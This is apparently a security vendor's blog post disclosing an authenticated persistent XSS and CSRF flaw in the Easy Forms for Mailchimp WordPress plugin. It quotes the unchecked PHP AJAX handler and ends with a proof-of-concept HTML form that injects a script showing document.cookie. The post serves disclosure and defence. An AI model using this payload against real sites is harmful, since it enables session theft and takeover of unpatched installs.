26 Feb 2020

Hackers May Already Be Targeting This Authenticated Persistent XSS Vulnerability in Easy Forms for Mailchimp

As part of monitoring we do to make sure we are providing customers of our service with the best possible data on vulnerabilities in WordPress plugins they may be using we monitor for what look to be hackers probing for usage of plugins to make sure we quickly can warn our customers of unfixed vulnerabilities that hackers are likely targeting. There was probing on our website today for the plugin Easy Forms for Mailchimp by requesting these files:

  • /wp-content/plugins/yikes-inc-easy-mailchimp-extender/admin/js/yikes-inc-easy-mailchimp-dashboard-widget.js
  • /wp-content/plugins/yikes-inc-easy-mailchimp-extender/public/js/form-submission-helpers.js
  • /wp-content/plugins/yikes-inc-easy-mailchimp-extender/readme.txt

In a quick check over the plugin we found that it contains numerous security issues, so we would recommend the plugin should get a thorough security review before being used. Like the previous plugins we discussed this week that look to be part of the same campaign this plugin also contains an authenticated persistent cross-site scripting (XSS) vulnerability, so that would be a likely target for the hacker. Since the plugin has 100,000+ installs, it makes it more likely a hacker can find websites that allow untrusted individuals access to WordPress accounts so they can exploit it.

The issue starts with the plugin registering the function migrate_previously_setup_forms() to be accessible through WordPress’ AJAX functionality to those logged in to WordPress:

75
add_action( 'wp_ajax_migrate_prevoious_forms', array( $this, 'migrate_previously_setup_forms' ) );

That function will allow the creation of new forms without doing any security checks:

1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
function migrate_previously_setup_forms() {
	$option_name = $_POST['option_name'];
	$done = $_POST['done_import'];
	// Create some starter forms for the user
	// based on previously imported lists (to our old version)
	if ( $option_name == 'yikes-mc-lists' ) {
		$option_value = $_POST['option_value'];
		$new_options = json_decode( stripslashes_deep( $option_value ) , true );
 
		$list_id = $new_options['id'];
		$form_name = $new_options['name'];
		$fields = $new_options['fields']; // our fields array
 
		$custom_styles = isset( $new_options['custom_styles'] ) ? $new_options['custom_styles']: '0'; // store as an array with all of our styles
		$custom_template = isset( $new_options['custom_template'] ) ? $new_options['custom_template'] : '0'; // store template data as an array ( active , template used )
		$redirect_user_on_submit = isset( $new_options['yks_mailchimp_redirect_'.$list_id] ) ? '1' : '0';
		$redirect_page = isset( $new_options['page_id_'.$list_id] ) ? $new_options['page_id_'.$list_id] : '';
 
		/* Insert Forms Function  */
		$this->form_interface->create_form( array(
			'list_id'                 => $list_id,
			'form_name'               => $form_name,
			'form_description'        => '',
			'fields'                  => $fields,
			'custom_styles'           => $custom_styles,
			'custom_template'         => $custom_template,
			'redirect_user_on_submit' => $redirect_user_on_submit,
			'redirect_page'           => $redirect_page,
			'submission_settings'     => '',
			'optin_settings'          => '',
			'error_messages'          => '',
			'custom_notifications'    => '',
			'impressions'             => '0',
			'submissions'             => '0',
			'custom_fields'           => '',
		) );

The code lacks a capabilities checks to limit access to creating a form to the users intended to be able to do it and a nonce check to prevent cross-site request forgery (CSRF).

As shown in the proof of concept below, there is not sanitization done on the form’s name when saving the form or escaping it when outputting on an admin page.

Due to the lack of a nonce check this could also be exploited through CSRF.

WordPress Causes Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof concept will cause an alert box with any available cookies to be shown on /wp-admin/admin.php?page=yikes-inc-easy-mailchimp, when logged in to WordPress. You must have set a valid Mailchimp API Key to have that occur (or change things so the plugin believes you have one set).

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=migrate_prevoious_forms" method="POST">
<input type="hidden" name="option_name" value="yikes-mc-lists" />
<input type="hidden" name="option_value" value='{"id":"1","name":"\"><script>alert(document.cookie);<\/script>"}' />
<input type="submit"  value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.